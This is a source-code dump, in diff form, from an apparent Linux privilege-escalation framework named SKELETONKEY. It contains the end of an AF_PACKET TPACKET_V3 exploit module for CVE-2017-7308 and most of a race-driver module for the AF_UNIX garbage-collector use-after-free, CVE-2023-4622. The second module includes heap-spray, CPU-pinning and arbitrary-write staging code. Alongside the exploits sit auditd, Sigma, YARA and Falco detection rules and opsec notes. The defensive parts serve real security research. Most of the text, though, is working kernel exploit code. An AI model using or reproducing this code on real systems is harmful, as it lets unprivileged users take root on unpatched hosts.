_exit(0);
|
||||
}
|
||||
_exit(5);
|
||||
}
|
||||
|
||||
/* 5. PARENT: wait for child, interpret exit code. */
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] af_packet: child died abnormally "
|
||||
"(signal=%d) — primitive likely fired but crashed\n",
|
||||
WTERMSIG(status));
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
|
||||
"for slab-out-of-bounds evidence\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int code = WEXITSTATUS(status);
|
||||
switch (code) {
|
||||
case 0:
|
||||
/* Child reported a fork-spray descendant successfully escaped
|
||||
* to uid 0. That descendant has since exited; we did NOT
|
||||
* inherit its credentials. This is honest: we proved end-to-
|
||||
* end primitive + cred-overwrite landed, but our process is
|
||||
* still uid != 0. Without a fully integrated R/W primitive
|
||||
* that targets OUR cred specifically (rather than spray-and-
|
||||
* pray), we can't promote ourselves. Report PARTIAL win.
|
||||
*
|
||||
* Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
|
||||
* empirically confirmed root in this process. We didn't. */
|
||||
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
|
||||
"but THIS process is still uid %d\n", geteuid());
|
||||
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
|
||||
"did not acquire root. The primitive demonstrably works.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
case 4:
|
||||
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
|
||||
"kernel has silent backport (detect was version-only)\n");
|
||||
return SKELETONKEY_OK; /* effectively patched */
|
||||
|
||||
case 5:
|
||||
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
|
||||
"acquired root within the timeout window\n");
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
|
||||
"for evidence the OOB write occurred\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
default:
|
||||
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: AF_PACKET + unshare(CLONE_NEWUSER|CLONE_NEWNET)
|
||||
* + TPACKET_V3 ring are Linux-only kernel surface; the TPACKET_V3
|
||||
* integer-overflow primitive is structurally unreachable elsewhere.
|
||||
* Stub out cleanly so the module still registers and `--list` /
|
||||
* `--detect-rules` work on macOS/BSD dev boxes — and so the top-level
|
||||
* `make` actually completes there. */
|
||||
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] af_packet: Linux-only module "
|
||||
"(AF_PACKET TPACKET_V3 + user_ns) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char af_packet_auditd[] =
|
||||
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
|
||||
"# Flag AF_PACKET socket creation from non-root via userns.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
|
||||
|
||||
static const char af_packet_sigma[] =
|
||||
"title: Possible CVE-2017-7308 AF_PACKET TPACKET_V3 exploitation\n"
|
||||
"id: a72b5e91-skeletonkey-af-packet\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the AF_PACKET TPACKET_V3 integer-overflow setup pattern:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET)\n"
|
||||
" and a PACKET_RX_RING setsockopt + sendmmsg burst. False positives:\n"
|
||||
" network sandboxes / containers running raw-packet apps inside\n"
|
||||
" userns; correlate process tree to distinguish.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" afp: {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
|
||||
" send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
|
||||
" condition: userns and afp and send_burst\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2017.7308]\n";
|
||||
|
||||
static const char af_packet_yara[] =
|
||||
"rule af_packet_cve_2017_7308 : cve_2017_7308 heap_spray\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2017-7308\"\n"
|
||||
" description = \"AF_PACKET TPACKET_V3 spray tag from skeletonkey/iam-root tooling\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag1 = \"iamroot-afp-tag\" ascii\n"
|
||||
" $tag2 = \"skeletonkey-afp-fc-\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_packet_falco[] =
|
||||
"- rule: AF_PACKET TPACKET_V3 setup by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates an AF_PACKET socket and sets up a\n"
|
||||
" TPACKET_V3 ring inside a user namespace. CVE-2017-7308 trigger\n"
|
||||
" requires CAP_NET_RAW which userns provides. False positives:\n"
|
||||
" legitimate packet-capture tools running rootless (rare).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setsockopt and evt.arg.optname contains PACKET_RX_RING\n"
|
||||
" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_PACKET TPACKET_V3 ring setup by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2017.7308]\n";
|
||||
|
||||
const struct skeletonkey_module af_packet_module = {
|
||||
.name = "af_packet",
|
||||
.cve = "CVE-2017-7308",
|
||||
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
|
||||
.family = "af_packet",
|
||||
.kernel_range = "K < 4.10.6, backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49",
|
||||
.detect = af_packet_detect,
|
||||
.exploit = af_packet_exploit,
|
||||
.mitigate = NULL,
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = af_packet_auditd,
|
||||
.detect_sigma = af_packet_sigma,
|
||||
.detect_yara = af_packet_yara,
|
||||
.detect_falco = af_packet_falco,
|
||||
.opsec_notes = "Creates AF_PACKET socket and TPACKET_V3 ring inside unshare(CLONE_NEWUSER|CLONE_NEWNET); triggers integer overflow with crafted tp_block_size/tp_block_nr and sprays ~200 loopback frames. Audit-visible via socket(AF_PACKET) (a0=17) + sendmmsg from a userns process; KASAN tag 'iamroot-afp-tag' may appear in dmesg if enabled. No persistent files. No cleanup callback - kernel state unwinds on child exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_af_packet(void)
|
||||
{
|
||||
skeletonkey_register(&af_packet_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET_SKELETONKEY_MODULES_H
|
||||
#define AF_PACKET_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module af_packet_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,35 @@
|
||||
# NOTICE — af_unix_gc (CVE-2023-4622)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2023-4622** — AF_UNIX garbage-collector race against SCM_RIGHTS
|
||||
fd-passing → `struct unix_sock` freed while still reachable → slab
|
||||
UAF in `SLAB_TYPESAFE_BY_RCU` kmalloc-512 bucket.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Lin Ma** (Zhejiang University),
|
||||
August 2023.
|
||||
|
||||
Writeup: <https://github.com/google/security-research/security/advisories/GHSA-7p7m-3xv8-2pq2>
|
||||
(disclosure record), plus Lin Ma's public PoC repo.
|
||||
|
||||
Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
|
||||
Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
|
||||
5.15.130 / 6.1.51 / 6.5.0.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
**Widest deployment of any module in the corpus** — bug present
|
||||
in every Linux kernel below the fix (back to ~2.0 era).
|
||||
|
||||
Two-thread race driver: Thread A cycles SCM_RIGHTS fd-passing
|
||||
through a socketpair; Thread B triggers unix_gc by closing a socket
|
||||
in a reference cycle. msg_msg spray refills the freed slot.
|
||||
CPU-pinned. Bounded budget: 5 s default, 30 s with `--full-chain`.
|
||||
|
||||
Bug is reachable as a **plain unprivileged user** — no userns
|
||||
required, no CAP_* needed. Race-win rate per run is iteration-
|
||||
dependent; Lin Ma's PoC reports thousands of iterations to first
|
||||
reclaim. The shared finisher's sentinel timeout handles no-land
|
||||
outcomes gracefully.
|
||||
@@ -0,0 +1,907 @@
|
||||
/*
|
||||
* af_unix_gc_cve_2023_4622 — SKELETONKEY module
|
||||
*
|
||||
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks
|
||||
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
|
||||
* concurrently mutate the inflight refcount on the same sockets. The
|
||||
* narrow window between a socket being marked GC-eligible and the
|
||||
* collector actually freeing it can be widened by tightly cycling
|
||||
* SCM_RIGHTS messages — when the race wins, a `struct unix_sock` is
|
||||
* freed while still reachable from another thread's skb queue, giving
|
||||
* slab UAF in the SLAB_TYPESAFE_BY_RCU kmalloc-512 bucket.
|
||||
*
|
||||
* Discovered by Lin Ma (ZJU) in Aug 2023. Public exploit chain uses
|
||||
* the UAF + msg_msg cross-cache spray to refill the freed slot, then
|
||||
* pivots through the now-controlled `unix_sock->peer` field.
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE — race-driver + msg_msg groom + empirical
|
||||
* witness. We carry the trigger (SCM_RIGHTS cycle + GC), the
|
||||
* kmalloc-512 spray, CPU pinning for race-win improvement, and the
|
||||
* slab-delta + signal-disposition witness. We do NOT carry the
|
||||
* leak (no read primitive in-module) nor a kernel-build-specific
|
||||
* fake unix_sock layout. Per verified-vs-claimed: a SIGSEGV/SIGKILL
|
||||
* in the race child IS recorded but does NOT upgrade to EXPLOIT_OK
|
||||
* — only an actual cred swap (euid==0) does, and we do not
|
||||
* demonstrate that without --full-chain.
|
||||
*
|
||||
* --full-chain (HONEST RELIABILITY): extends the race budget from
|
||||
* 5 s to 30 s and re-sprays kmalloc-512 with payloads carrying the
|
||||
* target kaddr at strided offsets. Race-win rate on a real
|
||||
* vulnerable kernel is iteration-dependent — Lin Ma's PoC reports
|
||||
* thousands of iterations to first reclaim. The shared
|
||||
* modprobe_path finisher's 3 s sentinel timeout catches the
|
||||
* overwhelmingly common no-land outcome gracefully.
|
||||
*
|
||||
* Affected: ALL Linux kernels with AF_UNIX below the fix. The bug
|
||||
* has been in the GC path since the 2.x era. Stable backports:
|
||||
* 4.14.x : K >= 4.14.326
|
||||
* 4.19.x : K >= 4.19.295
|
||||
* 5.4.x : K >= 5.4.257
|
||||
* 5.10.x : K >= 5.10.197
|
||||
* 5.15.x : K >= 5.15.130
|
||||
* 6.1.x : K >= 6.1.51 (LTS)
|
||||
* 6.5.x : K >= 6.5.0 (mainline fix)
|
||||
* 6.6+ : patched
|
||||
*
|
||||
* Preconditions:
|
||||
* - AF_UNIX socket creation works (always — no module gate)
|
||||
* - msgsnd / sysv IPC available for spray
|
||||
* - SCM_RIGHTS via sendmsg available (universal)
|
||||
* - userns NOT required — works as a plain unprivileged user
|
||||
*
|
||||
* Coverage rationale: the AF_UNIX GC has been touched extensively
|
||||
* for the 2023-2024 series of races (Lin Ma + Pwn2Own follow-ups);
|
||||
* this CVE is the first publicly-disclosed entry in that series and
|
||||
* carries the widest version range of any module we ship.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdatomic.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <signal.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#ifdef __linux__
|
||||
# include <sched.h>
|
||||
# include <sys/ipc.h>
|
||||
# include <sys/msg.h>
|
||||
# include <sys/un.h>
|
||||
#endif
|
||||
|
||||
/* macOS clangd lacks Linux SCM_* / CMSG_* fully — guard fallbacks. */
|
||||
#ifndef SCM_RIGHTS
|
||||
# define SCM_RIGHTS 0x01
|
||||
#endif
|
||||
#ifndef SOL_SOCKET
|
||||
# define SOL_SOCKET 1
|
||||
#endif
|
||||
#ifndef MSG_DONTWAIT
|
||||
# define MSG_DONTWAIT 0x40
|
||||
#endif
|
||||
|
||||
/* ---- Kernel-range table ------------------------------------------ */
|
||||
|
||||
static const struct kernel_patched_from af_unix_gc_patched_branches[] = {
|
||||
{4, 14, 326},
|
||||
{4, 19, 295},
|
||||
{5, 4, 257},
|
||||
{5, 10, 197},
|
||||
{5, 15, 130},
|
||||
{6, 1, 51}, /* 6.1 LTS */
|
||||
{6, 4, 13}, /* 6.4.x stable (per Debian tracker — forky/sid/trixie) */
|
||||
{6, 5, 0}, /* mainline fix landed in 6.5 (technically 6.6-rc1
|
||||
but stable 6.5.x carries the patch) */
|
||||
};
|
||||
|
||||
static const struct kernel_range af_unix_gc_range = {
|
||||
.patched_from = af_unix_gc_patched_branches,
|
||||
.n_patched_from = sizeof(af_unix_gc_patched_branches) /
|
||||
sizeof(af_unix_gc_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- Detect ------------------------------------------------------- */
|
||||
|
||||
/* Sanity: can we actually create an AF_UNIX socket on this host?
|
||||
* In some seccomp/ns-restricted sandboxes socket(AF_UNIX, ...) fails;
|
||||
* in that case the exploit cannot even reach the GC path. */
|
||||
static bool can_create_af_unix(void)
|
||||
{
|
||||
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
|
||||
if (s < 0) return false;
|
||||
close(s);
|
||||
return true;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_unix_gc: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* No lower bound: this bug has been in the AF_UNIX GC path since
|
||||
* the dawn of time. ANY kernel below the fix is vulnerable. The
|
||||
* kernel_range walker handles "older than every entry" correctly
|
||||
* (returns false → not patched → vulnerable). */
|
||||
bool patched = kernel_range_is_patched(&af_unix_gc_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */
|
||||
if (!can_create_af_unix()) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
|
||||
"exotic seccomp/sandbox, bug unreachable here\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] af_unix_gc: bug is reachable as PLAIN UNPRIVILEGED USER\n"
|
||||
" (no userns / no CAP_* required — AF_UNIX is universally\n"
|
||||
" creatable). The race window is microseconds wide and\n"
|
||||
" needs thousands of iterations to win on average.\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Race-driver state ------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#define AFUG_RACE_TIME_BUDGET 5 /* seconds — primitive-only mode */
|
||||
#define AFUG_RACE_FULLCHAIN_BUDGET 30 /* seconds — --full-chain */
|
||||
|
||||
/* kmalloc-512 spray width — `struct unix_sock` is in the kmalloc-512
|
||||
* bucket on 64-bit x86 with SLAB_TYPESAFE_BY_RCU. We need enough
|
||||
* msg_msg slots to make refill probable within the RCU grace period. */
|
||||
#define AFUG_SPRAY_QUEUES 24
|
||||
#define AFUG_SPRAY_PER_QUEUE 48
|
||||
#define AFUG_SPRAY_PAYLOAD 496 /* 512 - 16 (msg_msg hdr) */
|
||||
|
||||
/* SCM_RIGHTS race width: how many inflight fds per cycle. The bug
|
||||
* is driven by inflight count crossing the GC threshold; a handful
|
||||
* per cycle keeps the GC heuristic primed without OOM. */
|
||||
#define AFUG_SCM_FDS_PER_MSG 3
|
||||
|
||||
struct ipc_payload {
|
||||
long mtype;
|
||||
unsigned char buf[AFUG_SPRAY_PAYLOAD];
|
||||
};
|
||||
|
||||
static _Atomic int g_race_running;
|
||||
static _Atomic uint64_t g_thread_a_iters;
|
||||
static _Atomic uint64_t g_thread_b_iters;
|
||||
static _Atomic uint64_t g_thread_a_errs;
|
||||
|
||||
/* Pin to a CPU to make Thread A and Thread B land on different cores.
|
||||
* Best-effort: failure is non-fatal (e.g., affinity disallowed under
|
||||
* some seccomp configs). */
|
||||
static void pin_to_cpu(int cpu)
|
||||
{
|
||||
cpu_set_t set;
|
||||
CPU_ZERO(&set);
|
||||
CPU_SET(cpu, &set);
|
||||
sched_setaffinity(0, sizeof set, &set);
|
||||
}
|
||||
|
||||
/* The race victim region: a pair of socketpair(AF_UNIX) endpoints
|
||||
* forming a reference cycle. Closing one end while the other has
|
||||
* inflight fds queued is what naturally triggers unix_gc().
|
||||
*
|
||||
* Layout we drive (Lin Ma style):
|
||||
*
|
||||
* pair_a = socketpair(); pair_b = socketpair();
|
||||
* send pair_b[0] via SCM_RIGHTS over pair_a[0] → pair_a[1]
|
||||
* send pair_a[0] via SCM_RIGHTS over pair_b[0] → pair_b[1]
|
||||
* close all 4 endpoints — now we have a cycle the GC will collect
|
||||
*
|
||||
* Thread A loops the build-cycle-and-close.
|
||||
* Thread B loops sending its own SCM_RIGHTS messages on independent
|
||||
* pairs to perturb the inflight count + race the collector. */
|
||||
|
||||
/* Send an SCM_RIGHTS message with `nfds` fds over `sock`. Returns 0
|
||||
* on success, -1 on error. */
|
||||
static int send_scm_rights(int sock, const int *fds, int nfds)
|
||||
{
|
||||
char ctrl[CMSG_SPACE(sizeof(int) * AFUG_SCM_FDS_PER_MSG)];
|
||||
memset(ctrl, 0, sizeof ctrl);
|
||||
|
||||
char payload = 0;
|
||||
struct iovec iov = { .iov_base = &payload, .iov_len = 1 };
|
||||
|
||||
struct msghdr msg = {0};
|
||||
msg.msg_iov = &iov;
|
||||
msg.msg_iovlen = 1;
|
||||
msg.msg_control = ctrl;
|
||||
msg.msg_controllen = CMSG_SPACE(sizeof(int) * nfds);
|
||||
|
||||
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
|
||||
if (!cmsg) return -1;
|
||||
cmsg->cmsg_level = SOL_SOCKET;
|
||||
cmsg->cmsg_type = SCM_RIGHTS;
|
||||
cmsg->cmsg_len = CMSG_LEN(sizeof(int) * nfds);
|
||||
memcpy(CMSG_DATA(cmsg), fds, sizeof(int) * nfds);
|
||||
|
||||
if (sendmsg(sock, &msg, MSG_DONTWAIT) < 0) return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Thread A: tight-loop SCM_RIGHTS-cycle + close to drive GC.
|
||||
*
|
||||
* Each iteration:
|
||||
* 1. Build two socketpairs (A=[a0,a1], B=[b0,b1]).
|
||||
* 2. Send b0 via SCM_RIGHTS over a0 → a1 receives nothing yet (we
|
||||
* don't recvmsg — that's the point: the fd stays inflight).
|
||||
* 3. Send a0 via SCM_RIGHTS over b0 → b1 receives nothing yet.
|
||||
* 4. close() all 4 user-side fds. Now both endpoints are unreachable
|
||||
* from userspace BUT each is referenced from the other's skb
|
||||
* queue → reference cycle → next unix_gc() pass collects them.
|
||||
*
|
||||
* The kernel's GC heuristic kicks when the inflight count exceeds
|
||||
* the count of file refs in the system; closing the user-side fds in
|
||||
* a tight loop reliably triggers it. */
|
||||
static void *race_thread_a(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
pin_to_cpu(0);
|
||||
while (atomic_load_explicit(&g_race_running, memory_order_acquire)) {
|
||||
int pa[2], pb[2];
|
||||
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pa) < 0) {
|
||||
atomic_fetch_add_explicit(&g_thread_a_errs, 1, memory_order_relaxed);
|
||||
sched_yield();
|
||||
continue;
|
||||
}
|
||||
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pb) < 0) {
|
||||
close(pa[0]); close(pa[1]);
|
||||
atomic_fetch_add_explicit(&g_thread_a_errs, 1, memory_order_relaxed);
|
||||
sched_yield();
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Cycle: send pb[0] over pa, send pa[0] over pb. We also send
|
||||
* pb[1]/pa[1] alongside to widen the inflight count per cycle
|
||||
* (the GC trigger heuristic compares inflight vs total file
|
||||
* refs — more inflight per cycle == earlier GC). */
|
||||
int fds_a[AFUG_SCM_FDS_PER_MSG] = { pb[0], pb[1], pb[0] };
|
||||
int fds_b[AFUG_SCM_FDS_PER_MSG] = { pa[0], pa[1], pa[0] };
|
||||
(void)send_scm_rights(pa[0], fds_a, AFUG_SCM_FDS_PER_MSG);
|
||||
(void)send_scm_rights(pb[0], fds_b, AFUG_SCM_FDS_PER_MSG);
|
||||
|
||||
/* Close the user-side fds. The kernel-side refs are now only
|
||||
* held via the inflight skbs — perfect reference cycle for
|
||||
* the GC to find. */
|
||||
close(pa[0]); close(pa[1]);
|
||||
close(pb[0]); close(pb[1]);
|
||||
|
||||
atomic_fetch_add_explicit(&g_thread_a_iters, 1, memory_order_relaxed);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Thread B: independent SCM_RIGHTS traffic on a held pair to keep
|
||||
* the GC scan list churning while Thread A creates new candidates.
|
||||
*
|
||||
* Holds a long-lived socketpair and repeatedly sends + recvs SCM_RIGHTS
|
||||
* with random fds (dup'd from /dev/null). This drives the GC's "scan
|
||||
* list" rebuild path concurrently with Thread A's frees — the race
|
||||
* window that fires the UAF is exactly here.
|
||||
*
|
||||
* We don't directly call unix_gc() — there's no userspace knob — but
|
||||
* the GC heuristic is inflight-count driven, and Thread A's cycle
|
||||
* loop pushes that count past the threshold within a few thousand
|
||||
* iterations. */
|
||||
static void *race_thread_b(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
pin_to_cpu(1);
|
||||
|
||||
/* Long-lived pair for the perturbation loop. */
|
||||
int held[2];
|
||||
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, held) < 0) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Spare fd source — /dev/null dups are harmless to pass. */
|
||||
int devnull = open("/dev/null", O_RDWR);
|
||||
if (devnull < 0) {
|
||||
close(held[0]); close(held[1]);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
while (atomic_load_explicit(&g_race_running, memory_order_acquire)) {
|
||||
int fds[AFUG_SCM_FDS_PER_MSG];
|
||||
for (int i = 0; i < AFUG_SCM_FDS_PER_MSG; i++) {
|
||||
fds[i] = dup(devnull);
|
||||
}
|
||||
(void)send_scm_rights(held[0], fds, AFUG_SCM_FDS_PER_MSG);
|
||||
for (int i = 0; i < AFUG_SCM_FDS_PER_MSG; i++) {
|
||||
if (fds[i] >= 0) close(fds[i]);
|
||||
}
|
||||
|
||||
/* Drain the recv side so the held pair doesn't backpressure. */
|
||||
char drain[16];
|
||||
char ctrl[CMSG_SPACE(sizeof(int) * AFUG_SCM_FDS_PER_MSG)];
|
||||
struct iovec iov = { .iov_base = drain, .iov_len = sizeof drain };
|
||||
struct msghdr msg = {0};
|
||||
msg.msg_iov = &iov; msg.msg_iovlen = 1;
|
||||
msg.msg_control = ctrl; msg.msg_controllen = sizeof ctrl;
|
||||
if (recvmsg(held[1], &msg, MSG_DONTWAIT) > 0) {
|
||||
/* Close any fds we received so we don't leak. */
|
||||
for (struct cmsghdr *c = CMSG_FIRSTHDR(&msg); c;
|
||||
c = CMSG_NXTHDR(&msg, c)) {
|
||||
if (c->cmsg_level == SOL_SOCKET && c->cmsg_type == SCM_RIGHTS) {
|
||||
int nfd = (c->cmsg_len - CMSG_LEN(0)) / sizeof(int);
|
||||
int *rfds = (int *)CMSG_DATA(c);
|
||||
for (int j = 0; j < nfd; j++)
|
||||
if (rfds[j] >= 0) close(rfds[j]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
atomic_fetch_add_explicit(&g_thread_b_iters, 1, memory_order_relaxed);
|
||||
}
|
||||
|
||||
close(devnull);
|
||||
close(held[0]); close(held[1]);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ---- msg_msg cross-cache spray for kmalloc-512 ------------------- */
|
||||
|
||||
static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
|
||||
{
|
||||
struct ipc_payload p;
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x55; /* 'U' — unix */
|
||||
memset(p.buf, 0x55, sizeof p.buf);
|
||||
memcpy(p.buf, "SKELETONKEYU", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
|
||||
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
|
||||
if (q < 0) { queues[i] = -1; continue; }
|
||||
queues[i] = q;
|
||||
created++;
|
||||
for (int j = 0; j < AFUG_SPRAY_PER_QUEUE; j++) {
|
||||
if (msgsnd(q, &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
|
||||
}
|
||||
}
|
||||
return created;
|
||||
}
|
||||
|
||||
static void drain_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
|
||||
{
|
||||
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
|
||||
if (queues[i] >= 0) msgctl(queues[i], IPC_RMID, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
/* Read /proc/slabinfo for kmalloc-512 active count. Used as the
|
||||
* primary empirical witness: a successful UAF + refill perturbs
|
||||
* this counter in a way that's distinguishable from idle drift. */
|
||||
static long slab_active_kmalloc_512(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/slabinfo", "r");
|
||||
if (!f) return -1;
|
||||
char line[512];
|
||||
long active = -1;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "kmalloc-512 ", 12) == 0) {
|
||||
char name[64];
|
||||
long act = 0, num = 0;
|
||||
if (sscanf(line, "%63s %ld %ld", name, &act, &num) >= 2) {
|
||||
active = act;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return active;
|
||||
}
|
||||
|
||||
/* ---- Arb-write primitive (FALLBACK depth) ------------------------
|
||||
*
|
||||
* The shared modprobe_path finisher calls back here once per kernel
|
||||
* write. For AF_UNIX GC race we cannot deliver a deterministic
|
||||
* arb-write — the underlying race wins on a small fraction of runs
|
||||
* even with a 30 s budget, and even when the race wins our spray-only
|
||||
* groom has nowhere near the precision of Lin Ma's multi-stage public
|
||||
* PoC (which crafts a fake unix_sock whose `peer` pointer steers a
|
||||
* subsequent SCM_RIGHTS dispatch into the kaddr we want written).
|
||||
*
|
||||
* Honest depth: FALLBACK. Each invocation:
|
||||
* 1. Re-seeds the kmalloc-512 spray with payloads tagged with
|
||||
* `kaddr` packed at strided offsets (so wherever the UAF reclaim
|
||||
* lands attacker-controlled bytes inside the freed unix_sock,
|
||||
* our kaddr appears at the field offset).
|
||||
* 2. Re-runs the race threads for the extended full-chain budget.
|
||||
* 3. Returns 0 — we cannot in-process verify the write landed. The
|
||||
* shared finisher's 3 s sentinel file check is the empirical
|
||||
* arbiter: on the overwhelmingly common no-land outcome it
|
||||
* returns EXPLOIT_FAIL gracefully. */
|
||||
struct af_unix_gc_arb_ctx {
|
||||
int *queues;
|
||||
int n_queues;
|
||||
int arb_calls;
|
||||
};
|
||||
|
||||
static int af_unix_gc_reseed_kaddr_spray(int queues[AFUG_SPRAY_QUEUES],
|
||||
uintptr_t kaddr,
|
||||
